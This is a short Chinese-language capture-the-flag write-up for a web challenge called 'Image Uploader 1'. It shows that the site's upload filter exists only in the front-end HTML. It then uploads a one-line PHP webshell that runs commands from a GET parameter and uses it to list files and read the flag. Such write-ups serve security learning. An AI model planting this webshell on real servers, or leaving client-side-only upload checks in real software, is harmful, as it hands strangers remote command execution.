---
# System prepended metadata

title: '[CH] Image Uploader 1'
tags: [Web, Writeup, Chinese]

---

# [CH] Image Uploader 1

###### tags: `Writeup` `Web` `Chinese`

> [name=FlyDragon]

## Step.1
http://lotuxctf.com:20008

![](https://hackmd.io/_uploads/S1vo9ZiRh.png)

這是個圖片上傳網站，可以上傳圖片

上傳 `test.png` ，得到以下訊息
```
Uploaded at : uploads/64fd8aff877ba_test.png
```
訪問這個路徑可以看到我們上傳的圖片

本題上傳一個 **php webshell** 即可取得 flag

## Step.2

查看網頁原始碼，發現只要修改前端程式碼就能上傳任意檔案
```js
<input type="file" name="image" accept="image/*" required="">
```
上傳一個 `shell.php`
```php
<?php system($_GET["cmd"]); ?>
```
訪問對應路徑並傳遞參數 `?cmd=ls` 查看當前路徑還有什麼檔案

發現有 `flag.txt` ，取得 flag

{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}